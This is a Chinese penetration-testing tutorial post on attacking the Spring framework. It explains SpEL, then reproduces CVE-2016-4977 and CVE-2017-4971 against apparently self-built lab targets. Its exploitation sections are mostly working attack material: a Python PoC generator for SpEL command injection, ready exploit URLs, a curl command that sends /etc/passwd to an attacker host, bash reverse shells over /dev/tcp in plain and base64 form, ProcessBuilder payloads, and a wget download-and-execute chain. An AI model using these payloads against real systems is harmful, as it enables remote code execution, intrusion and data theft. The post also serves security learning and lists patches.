系列文章
简介
渗透测试-地基篇
该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。
请注意:
本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。
名言:
你对这行的兴趣,决定你在这行的成就!
一、前言
服务框架是指某领域一类服务的可复用设计与不完整的实现,与软件框架不同的是,服务框架同时体现着面向服务,一个服务框架可以分为两个主要部分:服务引擎、引入的外部服务。
Spring是一款目前主流的Java EE轻量级开源框架 ,是Java世界最为成功的框架之一。使用Spring的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。可想而知框架连接着网络和系统接触着越来越多的关键数据,渐渐成为单位公共安全中最具有战略性的资产,框架的安全稳定运行也直接决定着业务系统能否正常使用。如果框架被远程代码执行攻破,这些信息一旦被篡改或者泄露,轻则造成企业经济损失,重则影响企业形象,甚至行业、社会安全。可见,数据库安全至关重要。
通过前几期钓鱼、内网攻防篇章落幕后,引来了服务攻防篇章之数据库渗透篇,不管在外网还是内网环境,只要存在业务系统都存在数据库,在渗透测试对数据库的知识学习是必不可少的,接下来将介绍数据库的渗透基本操作,带小伙伴们了解和学习数据库如何渗透的!
今天会讲解到学习Spring简介、Spring框架特征、Spring Security OAuth2远程命令执行突破(CVE-2016-4977)、Spring Web Flow框架远程代码执行(CVE-2017-4971)等等操作,如果连Spring都不会安装操作提权等,怎么拿下对方服务器?
二、Spring简介
1、全家桶介绍
Spring发展到现在,全家桶所包含的内容非常庞大,这里主要介绍其中关键的5个部分,分别是spring framework、 springboot、 spring cloud、spring security、spring mvc。 其中的spring framework就是大家常常提到的spring, 这是所有spring内容最基本的底层架构,其包含spring mvc、springboot、spring core、IOC和AOP等等。Spring mvc就是spring中的一个MVC框架,主要用来开发web应用和网络接口,但是其使用之前需要配置大量的xml文件,比较繁琐,所以出现springboot,其内置tomcat并且内置默认的XML配置信息,从而方便了用户的使用。下图就直观表现了他们之间的关系。
而spring security主要是用来做鉴权,保证安全性的。Spring Cloud基于Spring Boot,简化了分布式系统的开发,集成了服务发现、配置管理、消息总线、负载均衡、断路器、数据监控等各种服务治理能力。
整个spring家族有四个重要的基本概念,分别是IOC、Context、Bean和AOP。 其中IOC指控制反转,在spring中的体现就是将对象属性的创建权限回收,然后统一配置,实现解耦合,便于代码的维护。在实际使用过程中可以通过autowired注解,不是直接指定某个类,将对象的真实类型放置在XML文件中的bean中声明。
Spring将所有创建或者管理的对象称为bean,并放在context上下文中统一管理。至于AOP就是对各个MVC架构的衔接层做统一处理,增强了代码的鲁棒性。下面这张图就形象描述了上述基本概念。
2、各子组件介绍
Spring发展至今,整个体系不断壮大,子分类非常庞大,这里只对本次涉及的一些组件做简单的介绍。
首先是Spring Websocket,Spring内置简单消息代理。这个代理处理来自客户端的订阅请求,将它们存储在内存中,并将消息广播到具有匹配目标的连接客户端。Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,其主要目标是使数据库的访问变得方便快捷。Spring Data Commons是Spring Data下所有子项目共享的基础框架,Spring Data家族中的所有实现都是基于Spring Data Commons。简单点说,Spring Data REST把我们需要编写的大量REST模版接口做了自动化实现,并符合HAL的规范。Spring Web Flow是Spring MVC的扩展,它支持开发基于流程的应用程序,可以将流程的定义和实现流程行为的类和视图分离开来。
3、全球使用量及使用分布
根据全网数据统计,使用Spring的网站多达80万余,其中大部分集中在美国,中国的使用量排在第二位。其中香港、北京、上海、广东四省市使用量最高。通过网络空间搜索引擎的数据统计和柱状图表,如下图所示。
4、Spring漏洞简介
Spring是Java EE编程领域的一个轻量级开源框架,该框架由一个叫Rod Johnson的程序员在2002年最早提出并随后创建,是为了解决企业级编程开发中的复杂性,业务逻辑层和其他各层的松耦合问题,因此它将面向接口的编程思想贯穿整个系统应用,实现敏捷开发的应用型框架。框架的主要优势之一就是其分层架构,分层架构允许使用者选择使用哪一个组件,同时为J2EE应用程序开发提供集成的框架。
2009年9月Spring 3.0 RC1发布后,Spring就引入了SpEL(Spring Expression Language)。对于开发者而言,引入新的工具显然是令人兴奋的,但是对于运维人员,也许是噩耗的开始。类比Struts2框架,会发现绝大部分的安全漏洞都和OGNL脱不了干系。尤其是远程命令执行漏洞,这导致Struts2越来越不受待见。
因此,我们有理由相信Spring引入SpEL必然增加安全风险。事实上,过去多个Spring CVE都与其相关,如CVE-2017-8039、CVE-2017-4971、CVE-2016-5007、CVE-2016-4977等。
5、SpEL详解
1)SpEL是什么
SpEL是基于spring的一个表达式语言,类似于struts的OGNL,能够在运行时动态执行一些运算甚至一些指令,类似于Java的反射功能。就使用方法上来看,一共分为三类,分别是直接在注解中使用,在XML文件中使用和直接在代码块中使用。
2)SpEL能做什么
(1)基本表达式:
包括逻辑运算,三目运算和正则表达式等等。
(2)类操作表达式:
对象方法调用,对象属性引用,自定义函数和类实例化等等。
(3)集合操作表达式:
字典的访问,投影和修改等等。
(4)其他表达式:
模板表达式
3)SpEL demo有哪些
(1)基于注解的SpEL
可以结合sping的@Value注解来使用,可以直接初始化Bean的属性值
@RestController
class Sangfor {
@Value(value = "${'aaa'.toUpperCase()}")
private String test;
public String getTest(){return test;}
public void setTest(String value){this.test = value;}
}
在这种情况下可以直接将test的值初始化为AAA. 此外,还有很多其他注解的使用方式,可以结合上面提到的表达式的四种使用模式。
(2)基于XML的SpEL
可以直接在XML文件中使用SpEL表达式如下:
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="world" class="java.lang.String">
<constructor-arg value="#{' World!'}"/>
</bean>
<bean id="hello" class="java.lang.String">
<constructor-arg value="#{'Hello'}#{world}"/>
</bean>
</beans>
public class SpEL {
public static void main(String[] args){
ApplicationContext ctx = new ClassPathXmlApplicationContext("test.xml");
String hello = ctx.getBean("hello", String.class);
System.out.println(hello);
}
}
上面的代码将会输出Hello World!, 可以看到递归往下找到world的值,最终成功返回。
(3)字符串操作
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
public class SpEL {
public static void main(String[] args){
ExpressionParser parser = new SpelExpressionParser();
// Expression exp = parser.parseExpression("'Hello '.concat('World')");
Expression exp = parser.parseExpression("'Hello ' + 'World'");
String message = (String) exp.getValue();
System.out.println(message);
}
}
注:类似的字符串操作比如toUpperCase(), substr()等等
(4)类相关操作
使用T(class)来表示类的实例,除了java.lang的包,剩下的包需要指明。此外还可以访问类的静态方法和静态字段,甚至实例化类。
public class SpEL {
public static void main(String[] args){
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression("T(Runtime).getRuntime().exec('calc.exe')");
Object message = exp.getValue();
System.out.println(message);
}
}
如上述操作,最终就可以执行命令,弹出计算器。这也是后面SpEL RCE漏洞的利用形式。
(5)集合相关操作
public class SpEL {
public static void main(String[] args){
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression("{'sangfor', 'busyer', 'test'}");
List<String> message = (List<String>) exp.getValue();
System.out.println(message.get(1)); //busyer
}
}
通过上面的操作,可以将字符串转化成数组,最终可以输出busyer。
4)SpEL原理
SpEL原理流程如下:
表达式:可以认为就是传入的字符串内容
解析器:将字符串解析为表达式内容
上下文:表达式对象执行的环境
根对象和活动上下文对象:根对象是默认的活动上下文对象,活动上下文对象表示了当前表达式操作的对象
具体的流程如下,其实就是编译原理里面的词法分析和句法分析:
(1)首先给定表达式1+2
(2)然后给定SpelExpressionParser解析器,该解析器就实现了上图中的分析
(3)定义上下文对象,这个是可选的,默认是StandardEvaluationContext
(4)使用表达式对象求值,例如getValue
具体代码如下:
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression("{'sangfor', 'busyer', 'test'}");
//StandardEvaluationContext context = new StandardEvaluationContext();
String message = (String)exp.getValue(context, String.class);
root和this
SpEL中#root总是指的刚开始的表达式对象,而#this总是指的当前的表达式对象,用他们可以直接操作当前上下文。
SimpleEvaluationContext和StandardEvaluationContext
SimpleEvaluationContext: 不包含类相关的危险操作,比较安全
StandardEvaluationContext: 包含所有功能,存在风险
三、Spring框架特征
1、如果 Web 应用程序的 favicon.ico 图标默认没有更改,是一个小绿叶
2、如果 web 应用开发者没有修改 SpringBoot Web 应用的默认 4xx、5xx 报错页面,那么当 web 应用程序出现 4xx、5xx 错误时,会报错如下图:
3、根据浏览器的 wappalyzer 插件,识别出 spring 框架
4、指纹查看F12
5、枚举执行器端点路径。这个其实很简单,在确认当前 web 站点是 springboot 框架后,枚举当前站点的所有一级、二级甚至三级目录,然后写脚本对每个目录进行探测,查看目录下是否存在 actuator 执行端点路径即可。
四、高危漏洞介绍
通过对Spring漏洞的收集和整理,过滤出其中影响较大的远程代码执行高危漏洞,可以得出如下列表:
从上表可以看出,这些漏洞分布在Spring不同的子分类之间,且大多都是较低的版本,用户只要及时升级高版本并及时关注新的漏洞信息。尽管近期没有出现相关漏洞,但是这些高风险漏洞依然不可忽视。这里面出现的漏洞大多不需要复杂的配置就可以直接攻击成功,从而执行任意代码,危害较大。所以,开发者在使用Spring进行开发的过程中,一定要关注其历史风险点,尽量规避高危漏洞,减少修改不必要的配置信息。
五、Spring渗透总结
1、Spring Security OAuth2远程命令执行突破(CVE-2016-4977)
1)漏洞简介
(1)漏洞原理:
Spring Security OAuth 是为 Spring 框架提供安全认证支持的一个模块。在其使用 whitelabel views 来处理错误时,由于使用了Springs Expression Language (SpEL),攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令。所以这个漏洞是在有账号密码的前提下实现的RCE。
(2)影响版本:
2.0.0-2.0.9
1.0.0-1.0.5
2)漏洞启动
(1)开启CVE-2016-4977漏洞
sudo docker-compose up -d
(2)验证是否开启
sudo docker ps
3)漏洞复现
(1)访问靶机:
http://192.168.253.7:8080/
(2)验证漏洞是否存在
输入该url会进行登录认证:
http://192.168.253.7:8080/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://test
输入admin/admin即可:
(3)然后跳转出现了认证错误的页面,但页面中返回执行了我们输入是SpEL表达式,这里可以看作SPEL表达式的注入:
SpEL(Spring Expression Language),即Spring表达式语言,是比JSP的EL更强大的一种表达式语言。为什么要总结SpEL,因为它可以在运行时查询和操作数据,尤其是数组列表型数据,因此可以缩减代码量,优化代码结构。
(4)既然表达式被执行了,同样考虑代码注入的可能性,这里我们看看vulhub提供的poc:
#!/usr/bin/env python
message = input('Enter message to encode:')
poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
for ch in message[1:]:
poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)
poc += ')}'
print(poc)
根据poc可以看出是调用了java命令执行的函数java.lang.Runtime.getRuntime().exec 来构造的,因为还需要满足的spel表达式的结构,所以对输入的命令进行了变形,将命令的每个字符转化为ASCII码配合java的tostring方法并且用concat将所有字符拼接在一起最后传入exec执行。
4)测试RCE
放入POC即可!
http://192.168.253.7:8080/oauth/authorize?response_type=${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(119).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(105)))}&client_id=acme&scope=openid&redirect_uri=http://test
知识返回了进程,但命令实际上是执行了的!这是无回显RCE!
5)测试XXE
我想到了无回显的XXE,可以命令执行的结果放入url中外带,同时我在vps用nc监听端口,拿到回显内容!
(1)我先在bash下做了测试,发现是没有问题的:
curl 192.168.253.65:7788 -d "$(cat /etc/passwd)"
nc -vlp 7788
这里用$(cmd)的方式将执行的命令结果放入curl中用post外带,正常回显!
(2)那么就将该命令放入poc中生成payload
执行完的确回显了,为啥cat后面就没了呢??参考网上的这篇文章,Java反弹shell的限制与绕过方式!
6)反弹shell
这个坑是java的exec函数本身的问题造成的,重定向,管道,空格有可能造成错误。所以还要将命令进行第二次变形,如下形式!
http://www.jackson-t.ca/runtime-exec-payloads.html
bash -i >& /dev/tcp/192.168.253.65/8888 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI1My42NS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}
可看到正常编码后回显获得了反弹shell,并正常交互!
7)优化修改POC
#!/usr/bin/env python
import base64
message = input('Enter message to encode:')
message = 'bash -c {echo,%s}|{base64,-d}|{bash,-i}' % bytes.decode(base64.b64encode(message.encode('utf-8')))
print(message)
poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
for ch in message[1:]:
poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)
poc += ')}'
print(poc)
用我构造的poc就能直接执行命令,不用担心exec执行出错的问题了。由于漏洞的原理是spel表达式的注入,也知道就是对传人的参数没有严格过滤造成的,加上我没有对应的源码,所以我就不对代码层面进行分析了。
测试XXE看:
curl 192.168.253.65:7788 -d "$(cat /etc/passwd)"
可看到正常的!!
8)安全防护
1. 使用1.0.x版本的用户应放弃在认证通过和错误这两个页面中使用Whitelabel这个视图。
2. 使用2.0.x版本的用户升级到2.0.10以及更高的版本
2、Spring Web Flow框架远程代码执行(CVE-2017-4971)
1)漏洞简介
(1)漏洞原理:
Spring Web Flow是Spring的一个子项目,主要目的是解决跨越多个请求的、用户与服务器之间的、有状态交互问题,提供了描述业务流程的抽象能力
Spring WebFlow是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。
(2)影响版本:
Spring WebFlow 2.4.0 - 2.4.4
2)条件源码解析
(1)触发漏洞需要满足两个条件:
1. MvcViewFactoryCreator 对象的useSpringBeanBinding 参数需要设置为false(默认值)。
2. flow view对象中设置BinderConfiguration对象为空
(2)解析flow view对象中设置BinderConfiguration对象为空:
src/main/webapp/WEB-INF/hotels/booking/booking-flow.xml
可以看出booking model中的confirm没有设置binder,也就是说在confirm阶段是可以触发漏洞的!
(3)useSpringBeanBinding 参数设置为false
参数默认是false, 但是在官方例子中设置为true了, 需要改源码如下:
src/main/java/org/springframework/webflow/samples/booking/config/WebFlowConfig.java
3)漏洞启动
(1)开启CVE-2017-4971漏洞
sudo docker-compose up -d
(2)验证是否开启
sudo docker ps
4)漏洞复现
(1)访问靶机:
http://192.168.253.7:8080/
(2)验证漏洞是否存在
首先访问http://192.168.253.7:8080/login
,用页面左边指定的任意一个账号/密码登录系统:
然后访问id为1的酒店地址:
http://your-ip:8080/hotels/1
点击预订按钮“ Book Hotel”,填写相关信息后点击“ Process”(从这一步,其实WebFlow就正式开始了):
填写订单详情,后点击 Proceed 生成订单!
再点击确认“确认”:(注意Credit Card为16位数)
此时抓包,抓到一个POST数据包:
我们向其中添加一个细分(也就是反弹shell的POC):
原POC:
_(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/10.0.0.1/21 0>&1")).start()=vulhub
URL编码后:
_(new java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.253.65/8888 0>%261")).start()=vulhub
成功交互控制!
5)EXP拓展
(1)执行命令:
&_T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")
或者
&_(new+java.lang.ProcessBuilder("touch /tmp/success2")).start()=test
(2)使用wget下载远程bash脚本
&_T(java.lang.Runtime).getRuntime().exec("/usr/bin/wget -qO /tmp/1 http://192.168.2.140:8000/1")
执行上一步下载的脚本:
&_T(java.lang.Runtime).getRuntime().exec("/bin/bash /tmp/1")
6)漏洞原理总结
在订阅图书处,存在一个命令执行,直接调用了两个函数,这两个函数,一个是:addDefaultMappings ,一个是 addModelBindings。
其中,直接控制field这个值的函数是addDefaultMappings,且未做过滤,而addModelBindings是直接获取的java的一个配置文件,由配置文件来确定是否有 binder 节点,如果有,就无法触发代码执行。所以条件有两个:
1. binder节点为空;
2. useSpringBeanBinding 默认值(false)未修改。
由此可实际在代码中找到该页面,节点为空(代替命令执行语句)+默认值为false(点击Confirm按钮)!
六、总结
今天学到Spring简介、Spring框架特征、Spring Security OAuth2远程命令执行突破(CVE-2016-4977)、Spring Web Flow框架远程代码执行(CVE-2017-4971)等等操作,最后远程代码执行控制服务器等操作,学到了非常多的小技巧和干货,希望小伙伴能实际操作复现一遍!来巩固告知企业单位的漏洞情况,并尽快进行加固巩固安全!
服务攻防之数据库Mysql(上)-> 服务攻防之数据库Mysql(下)-> 服务攻防之数据库MSSQL(上)-> 服务攻防之数据库MSSQL(中)-> 服务攻防之数据库MSSQL(下)-> 服务攻防之数据库Oracle(上)-> 服务攻防之数据库Oracle(下)-> 服务攻防之数据库Redis(上)-> 服务攻防之数据库Redis(下)-> 服务攻防之数据库Mongodb(上)-> 服务攻防之数据库Mongodb(下)-> 服务攻防之中间件IIS(上)-> 服务攻防之中间件IIS(下)-> 服务攻防之中间件Apache(总)-> 服务攻防之中间件Nginx(总)-> 服务攻防之中间件Tomcat(上)-> 服务攻防之中间件Tomcat(下)-> 服务攻防之中间件JBoss(上)-> 服务攻防之中间件JBoss(中)-> 服务攻防之中间件JBoss(下)-> 服务攻防之中间件Weblogic(上)-> 服务攻防之中间件Weblogic(下)-> 服务攻防之中间件GlassFish(总)-> 服务攻防之中间件WebSphere(总)-> 服务攻防之框架Struts2(上)-> 服务攻防之框架Struts2(下)-> 服务攻防之框架Thinkphp(总)-> 服务攻防之框架Shiro(总)-> 服务攻防之框架Spring(上)-> 服务攻防之框架Spring(下)......
接下来在《服务攻防之框架Spring(下)》会接触到Spring Data Rest远程命令执行命令(CVE-2017-8046)、pring Messaging远程命令执行突破(CVE-2018-1270)、Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)、历史漏洞合集、本地安装问题等等渗透操作,如何提权渗透等方法,请看下篇服务攻防之框架Spring篇下章!
希望大家提高安全意识,没有网络安全就没有国家安全!
今天基础牢固就到这里,虽然基础,但是必须牢记于心。
作者:大余